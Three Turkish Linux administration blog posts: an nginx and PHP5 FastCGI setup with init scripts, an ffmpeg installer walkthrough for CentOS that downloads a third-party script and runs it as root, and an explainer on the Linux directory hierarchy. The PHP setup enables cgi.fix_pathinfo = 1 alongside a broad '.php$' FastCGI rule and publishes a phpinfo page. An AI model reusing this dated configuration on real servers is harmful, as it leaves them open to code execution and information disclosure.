<blockquote><p><strong>./configure –sbin-path=/usr/local/sbin –with-http_ssl_module</strong></p></blockquote>
<p>Kuruluma başlayabiliriz.</p>
<blockquote><p><strong>make<br />
make install</strong></p></blockquote>
<p>Kurulum tamamlanmıştır.</p>
<p>Kurulum ardından /usr/local/nginx klasörü oluşturulur. Konfigürasyon dosyları,kayıtlar ve öntanımlı web dizini (/usr/local/nginx/html) burada bulunmakta.</p>
<p>Nginx başlangıç betiğinin oluşturulması:</p>
<blockquote><p><strong>nano  /etc/init.d/nginx</strong></p></blockquote>
<p><em>#! /bin/sh</em></p>
<p><em>### BEGIN INIT INFO<br />
# Provides: nginx<br />
# Required-Start: $all<br />
# Required-Stop: $all<br />
# Default-Start: 2 3 4 5<br />
# Default-Stop: 0 1 6<br />
# Short-Description: starts the nginx web server<br />
# Description: starts nginx using start-stop-daemon<br />
### END INIT INFO</em></p>
<p><em>PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin<br />
DAEMON=/usr/local/sbin/nginx<br />
NAME=nginx<br />
DESC=nginx</em></p>
<p><em>test -x $DAEMON || exit 0</em></p>
<p><em># Include nginx defaults if available<br />
if [ -f /etc/default/nginx ] ; then<br />
. /etc/default/nginx<br />
fi</em></p>
<p><em>set -e</em></p>
<p><em>case “$1″ in<br />
start)<br />
echo -n “Starting $DESC: ”<br />
start-stop-daemon –start –quiet –pidfile /usr/local/nginx/logs/nginx.pid –exec $DAEMON — $DAEMON_OPTS<br />
echo “$NAME.”<br />
;;<br />
stop)<br />
echo -n “Stopping $DESC: ”<br />
start-stop-daemon –stop –quiet –pidfile /usr/local/nginx/logs/nginx.pid –exec $DAEMON<br />
echo “$NAME.”<br />
;;<br />
restart|force-reload)<br />
echo -n “Restarting $DESC: ”<br />
start-stop-daemon –stop –quiet –pidfile /usr/local/nginx/logs/nginx.pid –exec $DAEMON<br />
sleep 1<br />
start-stop-daemon –start –quiet –pidfile /usr/local/nginx/logs/nginx.pid –exec $DAEMON — $DAEMON_OPTS<br />
echo “$NAME.”<br />
;;<br />
reload)<br />
echo -n “Reloading $DESC configuration: ”<br />
start-stop-daemon –stop –signal HUP –quiet –pidfile /usr/local/nginx/logs/nginx.pid –exec $DAEMON<br />
echo “$NAME.”<br />
;;<br />
*)<br />
N=/etc/init.d/$NAME<br />
echo “Usage: $N {start|stop|restart|force-reload}” &gt;&amp;2<br />
exit 1<br />
;;<br />
esac</em></p>
<p><em>exit 0</em><br />
Eğik olarak yazılmış olan betiği nano ile açtığımız dosyanın içine yazdıktan sonra kaydedip çıkıyoruz. Akabinde dosyamıza çalıştırma izni veriyoruz.</p>
<blockquote><p><strong>chmod +x /etc/init.d/nginx</strong></p></blockquote>
<p>Başlangıç scriptimizi her açılışta çalışacak şekilde ayarlayalım.</p>
<blockquote><p><strong>update-rc.d nginx defaults</strong></p></blockquote>
<p>Sunucumuzu başlatabiliriz.</p>
<blockquote><p><strong>/etc/init.d/nginx start</strong></p></blockquote>
<p><img title="nginx" src="http://www.linuxuzmani.com/wp-content/yukluk/2008/12/nginx.png" alt="nginx" width="550" height="400" /></p>
<p><strong>Php5 Kurulumu</strong></p>
<p>Nginx’te Php5 çalıştırmak için FastCGI kullanacağız. Aktif olmasını istediğimiz php modülleri kuruyoruz.</p>
<blockquote><p><strong>apt-get install php5-cgi php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-json php5-mcrypt php5-memcache php5-mhash php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl</strong></p></blockquote>
<p>Php konfigürasyon dosyasına FastCGI aktif ediyoruz.<br />
<strong></strong></p>
<blockquote><p><strong>nano /etc/php5/cgi/php.ini</strong><br />
<em>cgi.fix_pathinfo = 1</em> Satırını ekliyoruz.</p></blockquote>
<p>Fast-cgi başlangıç betiğini yazalım.</p>
<blockquote><p><strong>nano /etc/init.d/php-fastcgi</strong><em></em></p></blockquote>
<p><em>#! /bin/sh<br />
### BEGIN INIT INFO<br />
# Provides: php-fastcgi<br />
# Required-Start: $all<br />
# Required-Stop: $all<br />
# Default-Start: 2 3 4 5<br />
# Default-Stop: 0 1 6<br />
# Short-Description: Start and stop php-cgi in external FASTCGI mode<br />
# Description: Start and stop php-cgi in external FASTCGI mode<br />
### END INIT INFO</em></p>
<p><em># Author: Kurt Zankl &lt;kz@xon.uni.cc&gt;</em></p>
<p><em># Do NOT “set -e”</em></p>
<p><em>PATH=/sbin:/usr/sbin:/bin:/usr/bin<br />
DESC=”php-cgi in external FASTCGI mode”<br />
NAME=php-fastcgi<br />
DAEMON=/usr/bin/php-cgi<br />
PIDFILE=/var/run/$NAME.pid<br />
SCRIPTNAME=/etc/init.d/$NAME</em></p>
<p><em># Exit if the package is not installed<br />
[ -x "$DAEMON" ] || exit 0</em></p>
<p><em># Read configuration variable file if it is present<br />
[ -r /etc/default/$NAME ] &amp;&amp; . /etc/default/$NAME</em></p>
<p><em># Load the VERBOSE setting and other rcS variables<br />
. /lib/init/vars.sh</em></p>
<p><em># Define LSB log_* functions.<br />
# Depend on lsb-base (&gt;= 3.0-6) to ensure that this file is present.<br />
. /lib/lsb/init-functions</em></p>
<p><em># If the daemon is not enabled, give the user a warning and then exit,<br />
# unless we are stopping the daemon<br />
if [ "$START" != "yes" -a "$1" != "stop" ]; then<br />
log_warning_msg “To enable $NAME, edit /etc/default/$NAME and set START=yes”<br />
exit 0<br />
fi</em></p>
<p><em># Process configuration<br />
export PHP_FCGI_CHILDREN PHP_FCGI_MAX_REQUESTS<br />
DAEMON_ARGS=”-q -b $FCGI_HOST:$FCGI_PORT”</em></p>
<p><em>do_start()<br />
{<br />
# Return<br />
# 0 if daemon has been started<br />
# 1 if daemon was already running<br />
# 2 if daemon could not be started<br />
start-stop-daemon –start –quiet –pidfile $PIDFILE –exec $DAEMON –test &gt; /dev/null || return 1<br />
start-stop-daemon –start –quiet –pidfile $PIDFILE –exec $DAEMON –background –make-pidfile –chuid $EXEC_AS_USER –startas $DAEMON — $DAEMON_ARGS || return 2<br />
}</em></p>
<p><em>do_stop()<br />
{<br />
# Return<br />
# 0 if daemon has been stopped<br />
# 1 if daemon was already stopped<br />
# 2 if daemon could not be stopped<br />
# other if a failure occurred<br />
start-stop-daemon –stop –quiet –retry=TERM/30/KILL/5 –pidfile $PIDFILE &gt; /dev/null # –name $DAEMON<br />
RETVAL=”$?”<br />
[ "$RETVAL" = 2 ] &amp;&amp; return 2<br />
# Wait for children to finish too if this is a daemon that forks<br />
# and if the daemon is only ever run from this initscript.<br />
# If the above conditions are not satisfied then add some other code<br />
# that waits for the process to drop all resources that could be<br />
# needed by services started subsequently. A last resort is to<br />
# sleep for some time.<br />
start-stop-daemon –stop –quiet –oknodo –retry=0/30/KILL/5 –exec $DAEMON<br />
[ "$?" = 2 ] &amp;&amp; return 2<br />
# Many daemons don’t delete their pidfiles when they exit.<br />
rm -f $PIDFILE<br />
return “$RETVAL”<br />
}</em></p>
<p><em>case “$1″ in<br />
start)<br />
[ "$VERBOSE" != no ] &amp;&amp; log_daemon_msg “Starting $DESC” “$NAME”<br />
do_start<br />
case “$?” in<br />
0|1) [ "$VERBOSE" != no ] &amp;&amp; log_end_msg 0 ;;<br />
2) [ "$VERBOSE" != no ] &amp;&amp; log_end_msg 1 ;;<br />
esac<br />
;;<br />
stop)<br />
[ "$VERBOSE" != no ] &amp;&amp; log_daemon_msg “Stopping $DESC” “$NAME”<br />
do_stop<br />
case “$?” in<br />
0|1) [ "$VERBOSE" != no ] &amp;&amp; log_end_msg 0 ;;<br />
2) [ "$VERBOSE" != no ] &amp;&amp; log_end_msg 1 ;;<br />
esac<br />
;;<br />
restart|force-reload)<br />
log_daemon_msg “Restarting $DESC” “$NAME”<br />
do_stop<br />
case “$?” in<br />
0|1)<br />
do_start<br />
case “$?” in<br />
0) log_end_msg 0 ;;<br />
1) log_end_msg 1 ;; # Old process is still running<br />
*) log_end_msg 1 ;; # Failed to start<br />
esac<br />
;;<br />
*)<br />
# Failed to stop<br />
log_end_msg 1<br />
;;<br />
esac<br />
;;<br />
*)<br />
echo “Usage: $SCRIPTNAME {start|stop|restart|force-reload}” &gt;&amp;2<br />
exit 3<br />
;;</em><br />
esac</p>
<blockquote><p>Başlangıç scriptimizi her açılışta çalışacak şekilde ayarlayalım.</p>
<p><strong>update-rc.d php-fastcgi defaults</strong></p></blockquote>
<p>Diğer ayar dosyamız /etc/default/php-fastcgi olacaktır. Bu dosyada php-fastcgi ayarları bulunmaktadır.(Dinlenecek port,alt sorgu sayısı, vs.).</p>
<blockquote><p><strong>nano /etc/default/php-fastcgi</strong> açıp aşağıdaki diziyi ekliyoruz.</p></blockquote>
<blockquote><p><em># Which user runs PHP? (default: www-data)<br />
EXEC_AS_USER=www-data<br />
# Host and TCP port for FASTCGI-Listener (default: localhost:9000)<br />
FCGI_HOST=localhost<br />
FCGI_PORT=9000<br />
# Environment variables, which are processed by PHP<br />
PHP_FCGI_CHILDREN=5<br />
PHP_FCGI_MAX_REQUESTS=1000</em></p></blockquote>
<blockquote><p><strong>/etc/init.d/php-fastcgi start</strong></p></blockquote>
<p><strong>Nginx Konfigürasyonu<br />
</strong><br />
Nginx konfigürasyon dosya yolu /usr/local/nginx/conf/nginx.conf gibidir.<br />
Daha detaylı ve örnekli ayarlar için <a href="http://wiki.codemongers.com/NginxFullExample" target="_blank">http://wiki.codemongers.com/NginxFullExample</a> ve <a href="http://wiki.codemongers.com/NginxFullExample2" target="_blank">http://wiki.codemongers.com/NginxFullExample2</a> adreslerini ziyaret edebilirsiniz.<br />
<em><br />
</em>Ayar dosyamızda nginx çalıştıracak kullanıcı, alt süreç ve bağlantıların açık kalma zamanını ayarlıyoruz.<em><br />
[...]<br />
user www-data www-data;<br />
worker_processes 5;<br />
[...]<br />
keepalive_timeout 2;<br />
[...]</em></p>
<p>Sanal alanadı tanımlamak için Server {} parametresi kullanılmaktadır. Öntanımlı olarak aşağıdaki gibi bir tanımlamayı nginx.conf içine ekliyoruz.</p>
<p><em>[...]<br />
server {<br />
listen 80;<br />
server_name _;</em></p>
<p><em>#charset koi8-r;</em></p>
<p><em>#access_log logs/host.access.log main;</em></p>
<p><em>location / {<br />
root html;<br />
index index.php index.html index.htm;<br />
}</em></p>
<p><em>#error_page 404 /404.html;</em></p>
<p><em># redirect server error pages to the static page /50x.html<br />
#<br />
error_page 500 502 503 504 /50x.html;<br />
location = /50x.html {<br />
root html;<br />
}</em></p>
<p><em># proxy the PHP scripts to Apache listening on 127.0.0.1:80<br />
#<br />
#location ~ .php$ {<br />
# proxy_pass http://127.0.0.1;<br />
#}</em></p>
<p><em># pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000<br />
#<br />
location ~ .php$ {<br />
root html;<br />
fastcgi_pass 127.0.0.1:9000;<br />
fastcgi_index index.php;<br />
fastcgi_param SCRIPT_FILENAME /usr/local/nginx/html$fastcgi_script_name;<br />
include fastcgi_params;<br />
}</em></p>
<p><em># deny access to .htaccess files, if Apache’s document root<br />
# concurs with nginx’s one<br />
#<br />
#location ~ /.ht {<br />
# deny all;<br />
#}<br />
}<br />
[...]</em></p>
<p>Server name olarak “_” girildiğinde sunucuda ön tanımlı olarak o dizin açılacaktır.<em><br />
</em><em><em>“location /”</em></em> paramtersindeki / ile nginx ana dizinini “/usr/local/nginx/html” göstermektedir. Başka bir dizini göstermek için tam yolu yazmalısınız. Biz /var/www/linuxuzmani.com/ klasörünü ana dizin için kullanmak istiyorsak <em>location /var/www/linuxuzmani.com/ </em>şeklinde yazmalıyız. Gerekli değişiklikleri yapıtıktan sonra nginx yeniden başlatıyoruz.</p>
<blockquote><p><strong>/etc/init.d/nginx restart</strong></p></blockquote>
<p><strong></strong>Sunucumuzu ve php modül bilgilerini görmek için bir php script hazırlıyalım.</p>
<blockquote><p><strong>nano /usr/local/nginx/html/bilgi.php </strong></p></blockquote>
<blockquote><p><em>&lt;?php<br />
phpinfo();<br />
?&gt;</em></p></blockquote>
<p>Ekledikten sonra kaydedip çıkıyoruz.<br />
Taryıcımıza bu dosyayı yazarak çalıştırıp php hakkında bilgilerimizi görebiliyor olmamız gerekli.<br />
Örnek : http://172.16.1.10/bilgi.php</p>
<p><img title="nginx_phpinfo" src="http://www.linuxuzmani.com/wp-content/yukluk/2008/12/nginx_phpinfo.png" alt="nginx_phpinfo" width="648" height="470" /></p>
<p>Sunucumuz ve php çalışıyor. Diğer modülleride bu sayfada kontrol edebilirsiniz.</p>


title: Video Scriptler İçin Otomatik FFMPEG ve Diğer Gerekli Eklentilerinin Kurulumu
author: admin
source:
http://www.gokhanbaran.com/video-scriptler-icin-otomatik-ffmpeg-ve-diger-gerekli-eklentilerinin-kurulumu/

description:
<p>Clip Bucket, Phpmotion, Clip Share, Watch Pro, Php Melody gibi video scriptleri kurmak için sunucumuzda bazı eklentilerin olması gerekli, şimdi bu eklentilerin neler olduğuna bakalım ;</p>
<p>&nbsp;</p>
<ul>
<li>ffmpeg</li>
<li>Mplayer</li>
<li>A52decoder</li>
<li>Amrnb and Amrwb</li>
<li>All codecs</li>
<li>facc and faad2</li>
<li>Ruby</li>
<li>flvtool2</li>
<li>ffmpeg-php</li>
<li>Mplayer and Mencoder</li>
<li>Lame</li>
<li>Libogg</li>
<li>Libvorbis</li>
<li>Libtheora</li>
<li>Libwmf</li>
<li>opencoreamr</li>
<li>vorbistools</li>
<li>X264</li>
<li>MP4Box</li>
<li>Xvidcore</li>
</ul>
<p><span id="more-292"></span></p>
<p>şimdi centos makinaya ffmpeg ve diğer gerekli eklentilerin hepsini tek komutla ve kolay kurulumunu sizlere anlatacağım</p>
<p>Centos server için kurulum için ilk önce ssh ile root girişi yapıyoruz</p>
<p>sonra home dizinin içine bir klasör oluşturuyorum</p>
<p>#mkdir ffpmeg</p>
<p>oluşturduktan sonra klasör içine girerek aşağıdaki vermiş olduğum komutla adresteki bash scripti indiriyoruz</p>
<p># cd ffmpeg</p>
<p>#wget <a href="http://mirror.ffmpeginstaller.com/old/scripts/ffmpeg7/ffmpeginstaller.7.1.tar.gz">http://mirror.ffmpeginstaller.com/old/scripts/ffmpeg7/ffmpeginstaller.7.1.tar.gz</a></p>
<p>sonra sıkıştırılmış dosyayı çıkartıyoruz</p>
<p># tar xvzf ffmpeginstaller.7.1.tar.gz</p>
<p>sonrasında çıkarttığımız klasörün içine giriyoruz</p>
<p># cd ffmpeginstaller.7.1/</p>
<p>ve scripti çalıştırmak için aşağıda yazmış olduğum komutu yazıyoruz</p>
<p># ./install.sh</p>
<p>sizlerden bazı yerlerde izin isteyecek, onay vererek kuruluma devam ediyoruz</p>
<p>kurulum sorunsuz bitmiş ise paketlerin dosya yolları aşağıdaki gibidir ve php.ini dosyasına eklentileri girmek gerekir.</p>
<p>MEncoder Dizini : /usr/bin/mencoder<br />
MPlayer Dizini : /usr/bin/mplayer<br />
<strong>FFMpeg</strong> Dizini : /usr/bin/<strong>ffmpeg</strong><br />
FLVTool2 Dizini : /usr/bin/flvtool2<br />
Lame Mp3 Encoder Dizini : /usr/bin/lame<br />
Faad Dizini : /usr/bin/faad<br />
Faac Dizini : /usr/bin/faac</p>
<p>&nbsp;</p>
<p>&nbsp;</p>


title: Linux’ta Dosya Sistemi Hiyerarşisi
source: http://www.gokhanbaran.com/linuxta-dosya-sistemi-hiyerarsisi/
author: admin
description:
<p>Microsoft Windows gibi bir başka işletim sisteminden, Linux&#8217;a geçen son kullanıcıların en büyük sıkıntılarından biri, dosya sistemleri arasındaki farklardır. Windows konusunda biraz tecrübeli kime sorsanız, Program Files, Windows, System32, Documents and Settings klasörleri hakkında bilgi verebilir. Ancak Unix dünyası farklıdır ve geçiş yapan kullanıcılar, hangi klasörün ne işe yaradığını, hangisinin neyle alakalı olduğunu ilk bakışta çözemez. İşin kötü tarafı, farklı dağıtımlar için, dosya sistem hiyerarşisi değişebilir. Bu yazımızda, <em>Linux Dokümantasyon Projesi</em> (<em>The Linux Documentation Project</em>) tarafından yayımlanmış <em>Linux Dosya Sistem Hiyerarşisini</em> baz alarak, sizlere Linux dosya sistemi hakkında bilgi vereceğiz. Eğer daha çok bilgi almak isterseniz <a href="http://www.tldp.org/" target="_blank">The Linux Documentation Project</a> web sitesini ziyaret etmenizi tavsiye ederim.<br />
<span id="more-303"></span></p>
<h3>Dosya Sistemi Nedir?</h3>
<p>Dosya sistemi, işletim sisteminin bir disk veya bölüm (partition) üzerindeki dosyaları takip edebilmesi için oluşturulmuş yöntem ve veri yapıları bütünüdür. Dosya sistemi farklı anlamlar için de kullanılıyor. Örneğin iki diski olan bir kullanıcının &#8220;<em>iki dosya sistemim var</em>&#8221; dediğini duymuşsunuzdur. Buna şimdilik girmeyelim. Bizi ilgilendiren Linux&#8217;taki dosya yapısı&#8230;</p>
<p>Linux bir Unix klonudur. Bu yüzden &#8220;Tekil Hiyerarşik Klasör Yapısı&#8221;nı benimsemiştir. Herşey / (slash) simgesiyle ifade edilen root klasöründen başlar, aşağıya doğru iner. Windows&#8217;taki gibi C: D: şeklinde sözde sürücüler (drivers) bulunmaz. Windows ortamında, dosyalarınızı C sürücüsü, D veya E sürücüsü gibi her yere koyabilirsiniz. Bu tarz dosya sistemlerine, &#8220;<em>Hiyerarşik Yapı</em>&#8220;lı denmektedir.</p>
<p>Linux, / (root) klasöründen başlayarak, boot işlemindeki önem sırasına göre klasörleri dizer. Eğer neden Windows&#8217;taki gibi  (ters slash) işareti yerine, / (slash) işareti kullanıldığını merak edebilirsiniz; bu Linux&#8217;un Unix geleneğini takip etmesindendir. Ayrıca bu geleneğe uygun olarak küçük büyük harf duyarlılığı önemli bir konudur. Örneğin Windows&#8217;ta <em>KLASOR_ADI</em> ve <em>klasor_adi</em> aynı şeydir; fark etmez. Ama <strong>Linux&#8217;ta iki ayrı klasör</strong>den bahsediyor oluruz.</p>
<p>Windows&#8217;ta bir program yüklediğinizde, programa ait dosyaların büyük çoğunluğu kendi klasörüne yüklenir. Örneğin Matlab&#8217;i, C:Program FilesMatlab adresine kurduğunuzda, ona ait yardım dosyaları, bu klasör altındadır. Fakat Linux farklı çalışır; program dökümanlarını /usr/share/doc/program_adi/ altına koyarken, man(ual) dosyaları, /usr/share/man/man[1-9] altına koyulur. Eğer varsa info dosyaları da, /usr/share/info altına atılır. Kısacası, sistem hiyerarşisine gömülen bir yapı söz konusudur. Yüklenen herhangi bir program, işletim sisteminin muhtelif yerlerine yerleşmektedir.</p>
<p><a href="http://www.gokhanbaran.com/wp-content/uploads/2012/01/linux_dosyayapisi.png"><img class="alignleft size-thumbnail wp-image-304" title="linux_dosyayapisi" src="http://www.gokhanbaran.com/wp-content/uploads/2012/01/linux_dosyayapisi-150x150.png" alt="" width="150" height="150" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Linux&#8217;un popülerleşmeye başladığı 90&#8242;ların ortalarında, dağıtım geliştiriciler, dosyaları yerleştirmek için en uygun gördükleri şekilde çalıştılar; belirli bir standart yoktu. Bu birçok soruna neden oldu. Bu anarşiyi durdurmak için daha sonraları <strong>Linux Dosya Sistem Hiyerarşisi</strong> (kısaca <strong>FSSTND</strong>) belirlendi. Bizim anlatacağımız yapı da bu standart dahilinde&#8230;</p>
<p>Linux ve dosya sistemiyle ilgili söylenecek çok şey var; ama özet geçip son kullanıcının ihtiyacına cevap vermek daha doğru olur: &#8220;<em>Linux&#8217;ta hangi klasör ne işe yarar?</em>&#8221;</p>
<h4>/ <em>(root)</em> :</h4>
<p>Yukarda belirttiğimiz gibi, / <em>(root)</em> işletim sisteminin başlangıç noktasıdır. Bütün diğer klasörler, dosyalar, root&#8217;un &#8216;<em>çocuklarıdır</em>&#8216;. Bilgisayar başlarken, ilk önce buraya bakılır ve bulunmazsa sistem başlamaz. / <em>(root)</em> ve /root (root kullanıcısına ait klasör) birbirinden ayrıdır. İlerki bölümde farkını açıklayacağız.</p>
<pre><em>FSSTND'a göre root altındaki temel klasörler:</em>

<strong>/bin</strong>	: Olması şart komut dosyalarını içerir
<strong>/boot</strong>	: Başlangıç için gerekli dosyaları bulundurur
<strong>/dev</strong>	: Donanım dosyaları vardır
<strong>/etc</strong>	: Sistem ayarlarını barındırır
<strong>/lib</strong>	: Kütüphane dosyaları ve kernel modülleri bulunur
<strong>/media</strong>	: Kaldırılabilir aygıtların (CD-Rom, Flash bellek vs...)
	  sisteme eklendiği klasördür.
<strong>/mnt</strong>	: Bir dosya sistemini geçici olarak eklemek için kullanılır.
<strong>/opt</strong>	: Ekstra programların kurulması içindir
<strong>/sbin</strong>	: Sistemi yöneticisiyle ilgili çalıştırabilir dosyaları tutar.
<strong>/srv</strong>	: Sistemin sunduğu hizmetlerle alakalıdır
<strong>/tmp</strong>	: Geçici dosyaları tutmak içindir
<strong>/usr</strong>	: İkincil bir hiyerarşi
<strong>/var</strong>	: Değişken verileri saklar</pre>
<p>Günümüzde Linux dağıtımlarının büyük çoğunluğu, zaman zaman FSSTND tarafından belirlenmiş klasörlerin dışına çıkabiliyor. Bu tanıma bazen bir iki klasör eklendiğini ya da nadiren bu yapıdan bir klasörün çıkarıldığını görüyoruz. Biz gerek güncel dağıtımları, gerekse FSSTND&#8217;yi baz alarak incelememizi yapacağız. Ancak yazımızda FSSTND tarafından belirlenen bütün klasörler olmayacak. Linux dosya sistemi oldukça derin bir konu ve her şeyi anlatmaya kalkarsak, ayrı bir kitapçık yayımlamamız gerekir. Bunun yerine, son kullanıcının daha çok ilgisini çekecek ve genellikle haşır neşir olabileceği klasörleri ele alacağız.</p>
<h4>/bin :</h4>
<p>İşletim sisteminizi kullanmak için gereken birçok yararlı komut /bin klasörü altındadır. cat, mkdir, cp, ls, mv, rm vb. temel komutların hepsini burada bulabilirsiniz. Sistem boot ettiğinde, ilk olarak /bin klasörü çalışır hâle getirilir. Network bağlantınız olmasa ya da önemli klasörlere bir nedenden dolayı erişemeseniz bile, /bin klasöründeki komutlar n&#8217;olursa olsun çalışır. Bir sorun çıktığında, /bin klasörü altındaki komutları kullanarak sistemi onarırız.</p>
<h4>/boot :</h4>
<p>Boot, işletim sisteminin yüklenme evresidir. /boot klasörü, boot işlemi için gereken her şeyi içerir. Bilgisayarın başlangıç (boot) aşamasında gerekmeyen ayar ve yapılandırma dosyaları burada bulunmaz; başka klasörlerden gerektiği zamanlarda yüklenir.</p>
<h4>/dev :</h4>
<p>Linux&#8217;ta her şey bir dosyadır; donanım aygıtları da öyle&#8230; USB girişleri, seri ve paralel portlar, diskleriniz, cd-rom&#8217;larınız vb&#8230; bütün aygıtlar /dev klasörü altında tutulan dosyalardan ibarettir. Örneğin /dev altında bulunan <em>hda1</em> dosyası, sabit diskinizi temsil eder. Ya da /dev/dsp, ses aygıtınızdır. Bunları programlar vasıtasıyla kullanırız ancak direk müdahale ekmek mümkündür. Mesela &#8220;cat /boot/vmlinuz &gt; /dev/dsp&#8221; yazarak Kernel&#8217;in sesini duyabilirsiniz.</p>
<pre><em>Bazı Önemli Aygıt Dosyaları:</em>

<strong>/dev/ttyS0</strong> : Fare, modem gibi aygıtların bağlandığı seri port. (COM 1)
<strong>/dev/psaux</strong> : PS/2 girişi; fare ve klavyeler içindir.
<strong>/dev/lp0</strong>   : Paralel port (LPT 1); yazıcı, tarayıcı vs...
<strong>/dev/dsp</strong>   : Birincil ses aygıtı
<strong>/dev/usb</strong>   : USB aygıtları
<strong>/dev/sda</strong>   : SCSI aygıtlar, Flash Bellekler, harici CD-ROM'lar vs...
<strong>/dev/scd</strong>   : SCSI CD-ROM'lar
<strong>/dev/js0</strong>   : Joystick (Microsoft Türkçesiyle Eğlence Çubuğu)</pre>
<h4>/etc :</h4>
<p>İşletim sistemini bir vücuda benzetirsek, /etc klasörünü sinir sisteminin merkezi olarak görebiliriz. Sisteme dair bütün yapılandırma, bu klasör veya bu klasörün alt klasörlerinde bulunur. Yapılandırma dosyası, bir programın işlemlerini kontrol etmek için kullanılan lokal bir dosyadır; durağandır ve çalıştırılmak için değildir.</p>
<p>/etc klasörü içersinde bulunan bütün klasör ve yapılandırma dosyalarını tek tek incelememiz mümkün değil. Ancak son kullanıcının işine yarayacak bir ipucu verebiliriz.</p>
<p>Sürekli DNS problemleri yaşayanlar, <strong>/etc/resolv.conf</strong> dosyasını root olarak açıp, yeni DNS adresleri ekleyebilir. Siz de bu sorunlardan mustaripseniz, root olarak bu dosyayı açıp aşağıdaki satırları dosyanın en başına ekleyin:</p>
<pre>nameserver 208.67.222.222
nameserver 208.67.220.220</pre>
<p>Verilen adresler <a href="http://www.opendns.com/">OpenDNS</a> adında bir firmaya ait. Telekom&#8217;un adresleri yerine bunları kullanırsanız; adres çözümleme problemleriniz geride kalacaktır. Üstelik erişimi engellenen sitelere de girebilirsiniz.</p>
<h4>/home :</h4>
<p>Zamanında home klasörüyle ilgili hoş bir tanım duymuştum; /home klasörünü kullanıcıların kalesi olarak açıklıyordu. Bu gayet yerinde bir açıklama. /home klasörü içerisinde her kullanıcının kendi adında bir alt klasörü bulunur. Örneğin kullanıcı adınız &#8220;<em>ali</em>&#8221; ise, <em>/home/ali</em> size aittir ve altında istediğiniz her şeyi yapabilirsiniz; ama yapabilecekleriniz bu klasörle sınırlıdır. /home klasörünü, Windows&#8217;taki Documents and Settings&#8217;e benzetebiliriz. Ama daha güvenli bir yapıdır. Çünkü Linux&#8217;ta bir başkasının ev klasörüne müdahale edemezken, Windows&#8217;ta çok zorlanmadan istediğinizi yapabilirsiniz.</p>
<div align="center"><a href="http://www.cagataycebi.com/linux/file_system/img/filelight.png" target="_blank"><img src="http://www.cagataycebi.com/linux/file_system/img/sm_filelight.png" alt="[Filelight]" border="0" /></a></div>
<p>&nbsp;</p>
<div align="center"><span><em><strong>Filelight : </strong>Klasörlerin kapladığı boyutları gösteren bir yazılım.</em></span></div>
<h4>/initrd :</h4>
<p>initrd, initial ramdisk kısaltmasıdır. Aşağı yukarı anlamı Başlangıç Bellek Diski oluyor. Boot aşamasında ilk önce çekirdek (kernel) yüklenir. Bundan sonra bilgisayarınızın belleğinde bir Bellek Diski oluşturulur. Oluşturulan Bellek Disk üzerinde / (root) yansısı açılır ve kök dizin olarak monte edilir. /initrd bu işlemlerin yapılması ve Linux&#8217;un yüklenmesi için gereklidir.</p>
<h4>/lib :</h4>
<p>Kernel modülleri ve paylaşılan kütüphane dosyaları bu klasörde bulunur. Var olan çekirdek modüllerini /lib/modules/[versiyon_numarasi] içersinde bulabilirsiniz. Bahsedilen kütüphane dosyalarıysa, sistemi başlatmak ve /bin ile /sbin içersindeki komutları çalıştırmak için gereklidir. Paylaşılan kütüphane dosyalarını, Windows&#8217;ta DLL (Dynamically Linked Library) ile eş tutabiliriz. Linux&#8217;ta kütüphane dosyalarının sonu &#8220;<em>.so</em>&#8221; ile biter.</p>
<h4>/lost+found :</h4>
<p>İngilizce bir terim olan Lost and Found, kayıp eşya bürosu demektir. /lost+found klasörünün yaptığı işi düşününce, bundan uygun bir isim herhalde olamazdı.</p>
<p>Bazen sistemimizde bir problem olur; yanlış kapatırız, elektrik gider, durup dururken bilgisayar yeniden başlar vs&#8230; Bu gibi durumlarda Linux&#8217;ta fsck (File System Check) komutu devreye sokulur. fsck, Windows&#8217;taki Scandisk programına benzetilebilir. Düzeltilemeyen bir sorun varsa, bağlantıları kopmuş kayıp dosyalar ortaya çıkmışsa, bunlar /lost+found altına atılır. Bağlantı kopması, inode gibi konulara girmek istemiyorum; biraz karmaşık. Kısaca özetlersek; kötü bir sistem kapanmasından sonra, olması gereken bazı dosyaları bulamıyorsanız, kayıp eşya bürosuna bakmanızda yarar var.</p>
<h4>/media :</h4>
<p>CD-Rom, disket sürücü, flash bellek gibi çıkarılabilir aygıtlar buraya bağlanır. En basit tanımla, çıkarılabilir aygıtların, bağlantı noktası (mount point) olarak düşünebilirsiniz.</p>
<h4>/mnt :</h4>
<p>/media klasörüne benzer. Temel farkı; çıkarılabilir aygıtlar yerine, dosya sistemleri veya donanım aygıtları için kullanılıyor oluşudur. Bağlama (mount) işlemi, herhangi bir dosya sistemini, işletim sisteminin kullanmasını sağlar. Nereye bağladığınız sizin tercihinizdir. Yani bir diski, /media veya /mnt klasörüne ya da bir başka yere bağlamanız fark etmeyecektir. Sadece genel kabul görmüş bazı bağlantı noktaları bulunuyor; /mnt klasörü de onlardan bir tanesi.</p>
<h4>/opt :</h4>
<p>Dağıtımdan bağımsız ekstra yüklenen paketler için /opt klasörü kullanılmaktadır. Örneğin Google Earth programını indirip kurmak istediğinizde, &#8216;<em>default</em>&#8216; olarak kurulacağı nokta, <em>/opt/google-earth</em> adresidir.</p>
<p>Elbette ki bunu değiştirebilir ve size uygun gelen bir başka konuma yükleyebilirsiniz. Ancak daha önce söylediğimiz gibi bazı şeyler genel kabul görmüştür. Ekstra yüklenen yazılımların, /opt adresine atanması da buna bir örnektir. Windows&#8217;taki C:Program Files&#8217;i hatırlayalım;. programları buraya kurmak zorunlu değil; ama hemen hepsi buraya kuruluyor. Aynı mantık burada da geçerli.</p>
<h4>/proc :</h4>
<p>/proc oldukça özel sanal bir dosya sistemidir. Bizim bildiğimiz anlamda fiziksel dosyalar bulundurmaz; sistem durumuna dair bilgi içeren sanal dosyaları vardır. Örneğin &#8220;cat /proc/swaps&#8221; yazarak sisteminizdeki takas dosyalarına dair bilgi alabilir ya da &#8220;cat /proc/cpuinfo&#8221; komutuyla işlemcinizin özelliklerini görebilirsiniz.</p>
